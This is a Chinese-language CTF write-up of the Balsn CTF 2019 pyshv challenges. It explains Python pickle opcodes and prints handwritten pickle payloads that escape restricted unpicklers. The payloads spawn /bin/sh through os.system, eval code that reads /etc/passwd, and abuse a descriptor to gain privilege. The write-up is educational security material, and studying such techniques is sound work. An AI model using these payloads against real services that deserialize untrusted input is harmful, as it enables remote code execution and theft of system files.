三道python反序列化题目介绍

参考链接

从Balsn CTF pyshv学习python反序列化

源码以及wp:https://github.com/sasdf/ctf/tree/master/tasks/2019/BalsnCTF/misc

python反序列化

和其他语言的序列化一样,Python 的序列化的目的也是为了保存、传递和恢复对象的方便性,在众多传递对象的方式中,序列化和反序列化可以说是最简单和最容易实现的方式。

序列化:

pickle.dump(文件) 
pickle.dumps(字符串)

反序列化:

pickle.load(文件)
pickle.loads(字符串)
stack 栈
memo 一个列表,可以存储信息

PVM操作码(具体其他操作码可以去看pickle源码)

c:引入模块和对象,模块名和对象名以换行符分割。(find_class校验就在这一步,也就是说,只要c这个OPCODE的参数没有被find_class限制,其他地方获取的对象就不会被沙盒影响了)
(:压入一个标志到栈中,表示元组的开始位置
0:弹出栈项的元素并丢弃
t:从栈顶开始,找到最上面的一个(,并将(到t中间的内容全部弹出,组成一个元组,再把这个元组压入栈中
R:从栈顶弹出一个可执行对象和一个元组,元组作为函数的参数列表执行,并将返回值压入栈上
p:将栈顶的元素存储到memo(标签区)中,p后面跟一个数字,就是表示这个元素在memo中的索引
g:把memo的第n个位置的元素复制到栈顶
V、S:向栈顶压入一个(unicode)字符串
s:从栈顶弹出三个元素,一个字典,一个键名字,一个键值,把键名:键值添加进字典,然后把字典压入栈顶
.:表示整个程序结束


pyshv1

securePickle.py

import pickle
import io
import sys

whitelist = []
# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):

    def find_class(self, module, name):
        if module not in whitelist or '.' in name:
            raise KeyError('The pickle is spoilt :(')
        return pickle.Unpickler.find_class(self, module, name)


def loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()


dumps = pickle.dumps

server.py

#!/usr/bin/python3 -u

import securePickle as pickle
import codecs
import sys

pickle.whitelist.append('sys')


class Pysh(object):
    def __init__(self):
        self.login()
        self.cmds = {}

    def login(self):
        user = input().encode('ascii')
        user = codecs.decode(user, 'base64')
        user = pickle.loads(user)
        raise NotImplementedError("Not Implemented QAQ")

    def run(self):
        while True:
            req = input('$ ')
            func = self.cmds.get(req, None)
            if func is None:
                print('pysh: ' + req + ': command not found')
            else:
                func()


if __name__ == '__main__':
    pysh = Pysh()
    pysh.run()

可以看到题目用RestrictedUnpickler做为反序列化的过程类,find_class中限制了反序列化的对象必须是sys模块中的对象。也就是我们要保证我们使用c导入的模块只能是sys
并且pickle.Unpickler.find_class获取模块属性也依赖于sys.modules

也就是最终我们调用的始终是getattr(sys.modules['sys'],name),因此我们通过只导入sys模块把sys.modules['sys']改为我们想要执行的方法即可。

sys.modules 是一个字典,它包含了从 Python 开始运行起,被导入的所有模块。键字就是模块名,键值就是模块对象。因此我们可以从中获取想要的模块对象赋值给sys.modules['sys']

例如

import sys

modules = sys.modules              # save sys.modules for later
sys.modules['sys'] = sys.modules   # remap sys to sys.modules
import sys
modules['sys'] = sys.get('os')     # access os throug the remapped sys, and store it in sys.modules['sys']
import sys
sys.system('echo "it works!"')     # boom!

我们还需要手动将其转化为PVM操作码。

payload:

csys
modules
p1											#相当于命令为p1,要使用时直接使用g1
0g1											#这儿的0可以去掉
S'sys'
g1
scsys										#s相当于给字典赋值 -》  sys.modules['sys'] = sys.modules
get
(S'os'
tRp2
0S'sys'										# 这儿没太看啥懂
g2
scsys
system
(S'/bin/sh'
tR.

我按自己理解的意思 写了一下,也是没问题的

csys
modules
p1
g1
S'sys'
g1
scsys
get
(S'os'
tRp2
g1
S'sys'
g2
scsys
system
(S'echo 555'
tR.



pyshv2

securePickle.py

import pickle
import io


whitelist = []


# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):

    def find_class(self, module, name):
        if module not in whitelist or '.' in name:
            raise KeyError('The pickle is spoilt :(')
        module = __import__(module)
        return getattr(module, name)


def loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()


dumps = pickle.dumps

server.py

#!/usr/bin/python3 -u

import securePickle as pickle
import codecs
import sys

pickle.whitelist.append('structs')


class Pysh(object):
    def __init__(self):
        self.login()
        self.cmds = {
            'help': self.cmd_help,
            'flag': self.cmd_flag,
        }

    def login(self):
        user = input().encode('ascii')
        user = codecs.decode(user, 'base64')
        user = pickle.loads(user)
        raise NotImplementedError("Not Implemented QAQ")

    def run(self):
        while True:
            req = input('$ ')
            func = self.cmds.get(req, None)
            if func is None:
                print('pysh: ' + req + ': command not found')
            else:
                func()

    def cmd_help(self):
        print('Available commands: ' + ' '.join(self.cmds.keys()))

    def cmd_su(self):
        print("Not Implemented QAQ")
        # self.user.privileged = 1

    def cmd_flag(self):
        print("Not Implemented QAQ")


if __name__ == '__main__':
    pysh = Pysh()
    pysh.run()
structs.py是空文件

与v1不同的地方在于可导入模块改为了structs,然后还调用了__import__
__builtins__是所有模块共用的一个字典,而__import__是他的内置函数。我们可以通过修改structs.__builtins__来重写__import__
我们可以将__import__改为structs.__getattribute__,然后把structs.structs改为__builtins__,然后调用import('structs')返回的是__builtins__,从而调用其eval等内置函数。

from structs import __dict__
from structs import __builtins__
from structs import __getattribute__
__builtins__['__import__'] = __getattribute__
__dict__['structs'] = __builtins__
__import__('structs')['eval']('print("123")')

同样的需要将其改为PVM操作码,这里要注意__builtins__是一个字典,从里面取eval要用dict.get函数。


payload:

cstructs
__dict__
p1
0cstructs
__builtins__
p2
0cstructs
__getattribute__
p3
0g2
S'__import__'
g3
sg1
S'structs'
g2
scstructs
get
p4
(S'eval'
tR(S'print(open("/etc/passwd").read())'
tR.

这个我直接在本地运行不了,但是在题目中是可以运行的

import pickle
import io


whitelist = ['structs']


# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):

    def find_class(self, module, name):
        if module not in whitelist or '.' in name:
            raise KeyError('The pickle is spoilt :(')
        module = __import__(module)
        return getattr(module, name)


def loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()


a = b"""cstructs
__dict__
p1
0cstructs
__builtins__
p2
cstructs
__getattribute__
p3
g2
S'__import__'
g3
sg1
S'structs'
g2
scstructs
get
(S'eval'
tR(S'print(open("/etc/passwd").read())'
tR.
"""
loads(a)

pyshv3

securePickle.py

import pickle
import io


whitelist = []


# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):

    def find_class(self, module, name):
        if module not in whitelist or '.' in name:
            raise KeyError('The pickle is spoilt :(')
        return pickle.Unpickler.find_class(self, module, name)


def loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()


dumps = pickle.dumps

server.py

#!/usr/bin/python3 -u

import securePickle as pickle
import codecs
import os


pickle.whitelist.append('structs')


class Pysh(object):
    def __init__(self):
        self.key = os.urandom(100)
        self.login()
        self.cmds = {
            'help': self.cmd_help,
            'whoami': self.cmd_whoami,
            'su': self.cmd_su,
            'flag': self.cmd_flag,
        }

    def login(self):
        with open('../flag.txt', 'rb') as f:
            flag = f.read()
        flag = bytes(a ^ b for a, b in zip(self.key, flag))
        user = input().encode('ascii')
        user = codecs.decode(user, 'base64')
        user = pickle.loads(user)
        print('Login as ' + user.name + ' - ' + user.group)
        user.privileged = False
        user.flag = flag
        self.user = user

    def run(self):
        while True:
            req = input('$ ')
            func = self.cmds.get(req, None)
            if func is None:
                print('pysh: ' + req + ': command not found')
            else:
                func()

    def cmd_help(self):
        print('Available commands: ' + ' '.join(self.cmds.keys()))

    def cmd_whoami(self):
        print(self.user.name, self.user.group)

    def cmd_su(self):
        print("Not Implemented QAQ")
        # self.user.privileged = 1

    def cmd_flag(self):
        if not self.user.privileged:
            print('flag: Permission denied')
        else:
            print(bytes(a ^ b for a, b in zip(self.user.flag, self.key)))


if __name__ == '__main__':
    pysh = Pysh()
    pysh.run()

structs.py

class User(object):
    def __init__(self, name, group):
        self.name = name
        self.group = group
        self.isadmin = 0
        self.prompt = ''

struscts.py多了个User类,find_class与v1类似,不过可导入模块为structs。server.py中可以看到反序列化对象privileged属性为true就会输出flag,但是反序列化对象的privileged属性在反序列化之后被设置成了False
payload 类似于
在这里插入图片描述

描述器定义
在这里插入图片描述

例子

class RevealAccess(object):
            """A data descriptor that sets and returns values
               normally and prints a message logging their access.
            """

            def __init__(self, initval=None, name='var'):
                self.val = initval
                self.name = name

            def __get__(self, obj, objtype):
                print 'Retrieving', self.name
                return self.val

            def __set__(self, obj, val):
                print 'Updating', self.name
                self.val = val

>>> class MyClass(object):
...     x = RevealAccess(10, 'var "x"')
...     y = 5
...
>>> m = MyClass()
>>> m.x
Retrieving var "x"
>>> m.x = 20
Updating var "x"
>>> m.x
Retrieving var "x"
>>> m.y

payload中我们重载了User类的__set__方法,并将User实例赋值机给了User类的privileged属性,然后当对a.privileged赋值时,就会触发其__set__方法,因为set被赋值为了User,所以并不会对a.privileged进行正常赋值,从而a.privileged还为原来的User()实例。
另外要注意只有查找到的值是一个描述器时才会调用描述器方法,比如这里的a.privileged为描述器,而a.ppp为一个正常的属性并不是一个描述器,因此其可以正常赋值。

然后就是手写opcode

cstructs
User
p0
(N}S"__set__"
g0
stbg0 #structs.User (None,{"__set__":structs.User})
(S"guess"
S"guess"
tRp1  #User('guess','guess')
g0
(N}S"privileged"
g1
stbg1 #structs.User (None,{"privileged":User('guess','guess')})
.
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章